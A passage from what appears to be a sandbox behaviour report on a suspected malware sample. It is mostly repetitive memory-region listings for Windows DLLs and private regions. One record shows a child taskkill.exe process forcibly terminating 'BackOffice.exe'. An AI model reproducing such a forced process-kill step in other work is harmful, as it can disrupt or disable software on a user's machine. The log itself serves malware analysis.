entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 2126 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2127 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2128 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2129 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2130 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2131 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2132 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2133 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2134 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2135 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2136 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2137 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2138 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2139 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2140 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2141 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2142 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2143 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2144 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2145 start_va = 0x6c0000 end_va = 0x847fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 2146 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2147 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2148 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2149 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2150 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 2151 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2152 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 2153 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 2154 start_va = 0x2e0000 end_va = 0x39ffff entry_point = 0x2e0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2155 start_va = 0x3d0000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 2156 start_va = 0x580000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 2157 start_va = 0x8c0000 end_va = 0xa40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 2158 start_va = 0xa50000 end_va = 0x1e4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 2159 start_va = 0x1fb0000 end_va = 0x1feffff entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 2160 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2161 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2162 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2163 start_va = 0x6a920000 end_va = 0x6a97bfff entry_point = 0x6a942b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 2164 start_va = 0x6a980000 end_va = 0x6a989fff entry_point = 0x6a98149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2165 start_va = 0x1e50000 end_va = 0x1f4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2166 start_va = 0x2140000 end_va = 0x217ffff entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 2167 start_va = 0x6a8f0000 end_va = 0x6a918fff entry_point = 0x6a8f6b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 2168 start_va = 0x200000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2169 start_va = 0x260000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2170 start_va = 0x2180000 end_va = 0x244efff entry_point = 0x2180000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2171 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2172 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2173 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2174 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2175 start_va = 0x180000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2176 start_va = 0x4b0000 end_va = 0x4effff entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 2177 start_va = 0x2000000 end_va = 0x203ffff entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 2178 start_va = 0x2490000 end_va = 0x24cffff entry_point = 0x0 region_type = private name = "private_0x0000000002490000" filename = "" Region: id = 2179 start_va = 0x6a8e0000 end_va = 0x6a8eefff entry_point = 0x6a8e21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2180 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2181 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2182 start_va = 0x6a710000 end_va = 0x6a7a5fff entry_point = 0x6a72f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 2183 start_va = 0x6a8c0000 end_va = 0x6a8d7fff entry_point = 0x6a8c1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 146 os_tid = 0x678 Thread: id = 147 os_tid = 0x6e4 Thread: id = 148 os_tid = 0x884 Thread: id = 149 os_tid = 0x888 Thread: id = 150 os_tid = 0x890 Process: id = "14" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x5b9bc000" os_pid = "0x838" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM BackOffice.exe /IM BackOffice.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2184 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2185 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2186 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2187 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2188 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2189 start_va = 0x190000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2190 start_va = 0x1e0000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2191 start_va = 0xbb0000 end_va = 0xbc5fff entry_point = 0xbb5c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 2192 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2193 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2194 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2195 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2196 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2197 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2198 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2199 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2200 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2201 start_va = 0x340000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2202 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2203 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2204 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2205 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 2206 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 2207 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2208 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2209 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2210 start_va = 0x4e0000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 2211 start_va = 0x750000 end_va = 0x75ffff entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 2212 start_va = 0x6a8a0000 end_va = 0x6a98afff entry_point = 0x6a8a13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 2213 start_va = 0x6a990000 end_va = 0x6a99efff entry_point = 0x6a9912a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 2214 start_va = 0x6a9a0000 end_va = 0x6a9a8fff entry_point = 0x6a9a15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 2215 start_va = 0x6a9b0000 end_va = 0x6a9c0fff entry_point = 0x6a9b1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 2216 start_va = 0x6a9d0000 end_va = 0x6aa04fff entry_point = 0x6a9d13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 2217 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 2218 start_va = 0x73e30000 end_va = 0x73e3cfff entry_point = 0x73e311e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 2219 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2220 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2221 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 2222 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2223 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2224 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2225 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2226 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2227 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2228 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2229 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2230 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2231 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2232 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2233 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2234 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2235 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2236 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2237 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2238 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2239 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2240 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2241 start_va = 0x760000 end_va = 0x8e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 2242 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2243 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2244 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2245 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2246 start_va = 0xf0000 end_va = 0xf3fff entry_point = 0xf0000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 2247 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2248 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2249 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 2250 start_va = 0x240000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2251 start_va = 0x2d0000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2252 start_va = 0x3c0000 end_va = 0x47ffff entry_point = 0x3c0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2253 start_va = 0x690000 end_va = 0x6cffff entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 2254 start_va = 0x8f0000 end_va = 0xa70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 2255 start_va = 0xbd0000 end_va = 0x1fcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 2256 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2257 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2258 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 2259 start_va = 0x6a830000 end_va = 0x6a88bfff entry_point = 0x6a852b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 2260 start_va = 0x6a890000 end_va = 0x6a899fff entry_point = 0x6a89149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2261 start_va = 0x4a0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 2262 start_va = 0xa80000 end_va = 0xb7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 2263 start_va = 0x6a800000 end_va = 0x6a828fff entry_point = 0x6a806b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 2264 start_va = 0x5e0000 end_va = 0x61ffff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2265 start_va = 0x620000 end_va = 0x65ffff entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 2266 start_va = 0x1fd0000 end_va = 0x229efff entry_point = 0x1fd0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2267 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2268 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2269 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2270 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2271 start_va = 0x6d0000 end_va = 0x70ffff entry_point = 